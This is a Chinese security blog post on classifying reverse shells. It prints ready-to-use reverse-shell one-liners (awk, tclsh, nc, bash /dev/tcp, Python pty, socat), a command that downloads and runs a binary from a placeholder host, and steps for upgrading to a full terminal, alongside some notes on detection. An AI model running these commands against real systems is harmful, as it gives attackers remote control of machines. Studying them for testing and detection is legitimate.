登陆 注册

不一样的 “反弹Shell”系统剖析

遇梦 2020-07-08 安全文摘

“ 

阅读本文大概需要 6 分钟。

 ”

   2020年 第  17  篇文章 ,flag 继续 

每周至少更一篇

前言

前两篇文章讲解了cmdpowershell混淆的各种姿势,原理和防御方式,希望能对大家有启发。

本篇的主题是反弹shell,将之前总结的对反弹shel的思考和大家分享一下。

每周写写博客,写写总结,虽然有时候很疲惫,但是能把技术和大家分享交流,本身是一件令人开心的事情。每周更新,我要努力坚持下去,

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

一.思考

学而不思则罔

本质

反弹shell在渗透测试中经常会用到,属于常备技能之一。所谓反弹shell,我对它的理解:一是反弹,二是shell。反弹指的是被控端主动通过网络连接到受控端,shell指的是将命令行的输入输出转发到受控端。因此 反弹shell包括两部分的内容:

  1. 网络连接

  2. 命令执行

分类

针对网络连接和命令执行这两方面做文章, 衍生出了多种多样的反弹shell。首先按照交互方式可以分为5大类:

  1. 命令执行

  2. 非交互式

  3. 半交互式

  4. 交互式

  5. 完全交互式

是不是有点懵,交互方式怎么这么多种???可能和大家理解的不太一样,这是渗透测试中对反弹shell递进的需求造成的。

按照通信协议可以分为 5大类,基本上涵盖了常见的协议,这也是反弹shell走向成熟的一个标志。

  1. tcp

  2. udp

  3. icmp

  4. http/s

  5. dns

按照流量数据来分,分为三大类:

  1. 明文

  2. 加密

  3. 口令

其中,口令大家可能没啥感觉,主要是在反弹shell后,client和server进行一下身份验证。

思维导图

最近做分享,越来越喜欢使用思维导图,整理思路确实是一把好手,不过下面的思维导图,反反复复修改了很多次。一开始站的高度不够,整理出来的都是各种反弹shell命令,其实这些东西都有专门的网站收集,写了没有意义,还是理解的不够,又改了几版,反复验证每条命令的原理和梳理检测方案,才有了下面反弹shell的整体框架.。

二.反弹姿势

实践出真知

下面根据思维导图的顺序讲解一下反弹shell的各种姿势,按照交互方式划分,更能贴近渗透测试的真实场景。

1.命令执行

命令执行类,简单来说就是 网络连接和命令执行不是连续的,有几种情况,网络连接不是长连接,命令执行不是长shell, 或者两者都存在。

如何判断一个反弹shell是命令执行类呢? 当反弹shell运行后,在控制端输入 bash -i ,如果无法产生交互式,则说明是命令执行类。

(1) 网络是长连接,命令执行是短shell模式

client端从server接收到待执行的命令,启动bash执行这个命令,并将命令的结果返回给server。比较典型的是awk和tclsh。

$ awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

$ echo 'set s [socket 127.0.0.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

(2) 网络是短连接,命令执行是长shell模式

client向server发送请求,server将命令内容响应给client, client 获取命令内容,通过管道发送给bash执行,并读取执行结果,最后通过请求再发给server,完成一个流程。

这种的比较少见,因为没有必要这么麻烦,反正都无法产生交互式,没必要这么复杂,因此更多地是第一种和第三种。

(3) 网络是短连接,命令执行是短shell模式

结构是上面两个的拼接,这种反弹shell,采用http/s协议,通过心跳包的方式,传递命令和结果,因为http/s是短链接,命令执行时间较短,相对来说不容易检测。

在Metasploit 中,通过 reverse_http和reverse_https这两种payload,可以生成。之前我还写过基于icmp的反弹shell,感兴趣的童鞋,可以看一下我之前写的文章:

《Python3实现ICMP远控后门》

在公众号中回复 15 可以获得源码。

2.非交互式

非交互式的反弹shell,非常传统,很容易被检测到,例如nc 反弹,部分bash手法反弹(bash 不加 -i ),如何判断是不是非交互式反弹shell呢?

在反弹shell连接后,输入 history 命令,看是否有输出,如果没有输出,说明是非交互式的,其本质是 

非交互式反弹shell 没有上下文

在下面的网址中,基本上囊括了常见的反弹shell手法,主要是命令执行类,非交互式,半交互式和部分交互式。

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8080

非交互式反弹shell的基本结构如下,网络连接与命令输入输出构成一条连续的通道。

以nc为例,在控制端运行 nc-lvp8080,在被控端运行 nc-e/bin/sh127.0.0.18080,在控制端运行 history 是没有任何反应的。

为什么说这种类型比较好检测呢?我们看一下被控端反弹的bash,它打开的文件句柄是和普通程序不同的,输入输出都连接着管道,同时其他句柄有网络连接。

我们接着看一下bash直接反弹的非交互式shell,被控端运行如下命令,控制端命令如上。

$ exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0

这种情况特征依然很明显,sh的输入输出句柄都有网络连接。

3.半交互式

上面讲解了非交互式,更进一步,聊一下半交互式。半交互式,大家可能没有太多的概念,但是使用的时候还是挺多的,例如 bash -i 这种类型的反弹,其实属于半交互式。我说一下对半交互式shell 的模糊定义:shell 有一定程度的上下文,但和终端有较大的差距。如何判断是否是半交互式shell,运行两个命令就可以知道:

  1. 运行history 命令,有输出

  2. 运行top命令,无输出。

如何产生半交互式反弹shell呢?大致有如下两种办法,我们依次试一下: 

(1) 在非交互式反弹中,运行 bash -i

在上一节的基础上,控制端运行 bash -i ,我们看到受控端机器上的当前路径被映射到了本地:

接着运行history 命令,为了方便截图,使用grep进行了过滤:

最后运行一下 top,报了 top:failed ttyget这个错误,无法获取一个终端,这也是我将它定义为半交互式的原因。

(2) 直接反弹 bash -i

$ bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

$ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.交互式

半交互式反弹shell 虽然有了一定程度的交互能力,但距离一个终端还是有很大的距离,为了提高交互能力,将半交互式提升为交互式,我们需要引入伪终端pty。引入伪终端,不仅增强了交互能力,而且有了更强的对抗能力。无论是半交互还是非交互的反弹shell,有一个明显的特征,bash的输入输出要么连接着管道,要么连接着socket,但是伪终端生成反弹shell,输入输出和正常情况一样。生成交互式反弹shell大致有两种方式,一种是直接反弹pty,另一种是在普通反弹shell中,生成pty。

(1) 直接反弹pty

在Python中有一个pty的包,专门用来生成伪终端,我们可以使用pty 反弹bash,并与之绑定:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在控制端输入 top命令,看看是否有动态输出:

接着查看一下反弹 bash的输入输出上是否有管道或者socket绑定,我们发现bash 的输入输出和正常一样,传统的检测策略:依靠bash 输入输出绑定管道和socket的检测方式失效了。

(2) 在普通shell中生成pty

在非交互式 或半交互式反弹shell中,利用python 执行如下命令,即可生成pty,相当于把上面的一句话拆成了两部分使用,这种还是比较常见的。

$ python -c 'import pty; pty.spawn("/bin/bash")'

如果系统中没有python环境,比如容器中,如果系统存在script命令也是可以。

5.完全交互式

我们有了交互式的反弹shell,已经非常接近正常终端,但是在使用的过程中,还是发现了很多不同,比如 无法用tab补齐命令,无法删除命令,ctrl+c会 直接退出了shell。如何才能打造出和正常终端一样操作的反弹shell呢?其实还是有办法的。

(1) socat

socat是一款优秀的反弹shell工具,其生成的反弹shell和普通终端一样易用。在控制端运行:

$ socat file: tty,raw,echo=0 TCP-L:8080

在受控端运行:

$ socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

在socat反弹shell里,使用tab 补齐 whoami命令,感觉和正常终端没有什么区别。

在渗透测试中,如果想更好的使用socat,大家可以使用 下面的脚本生成静态编译的socat。

https://github.com/andrew-d/static-binaries/tree/master/socat/build.sh

然后将socat 放到VPS上,远程下载执行:

wget -q https://xxx.com/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080

(2) pty + 重置终端

"pty + 重置终端"的方式真的很奇妙,强制反弹shell匹配控制端的本地终端。在控制端:

1.首先检查当前终端和STTY信息

$ echo $TERM

$ stty -a

2.nc开启监听:

$ nc -lvp 8080

在受控端,只需要使用一个普通的反弹shell连接到控制端即可,剩下的工作在控制端做就可以了:

3.启用python交互式

$ python -c 'import pty; pty.spawn("/bin/bash")'

4.把它丢到后台挂起

$ ctrl + z

5.重置stty,也就意味着你看不到输入的内容

$ stty raw -echo

6.把后台挂起的程序调回前台,这个时候在终端看不到fg的。

$ fg

7.完全刷新终端屏幕

$ reset

8.接下来设置环境变量,根据第一步得到的环境变量来设置

$ export SHELL=bash

$ export TERM=xterm

$ stty rows 42 columns 162

最后的效果如下,继续使用tab 补全whoami命令:

参考文献:

https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8888

https://www.cnblogs.com/r00tgrok/p/reverseshellcheatsheet.html

https://github.com/andrew-d/static-binaries

https://www.cnblogs.com/LittleHann/p/12038070.html

最后


原创不易,希望大家能积极分享,点在看。

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础

  • 回复【8】:领取 python神经网络 教程 

  • 回复【9】:领取 安卓逆向 教程  

请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.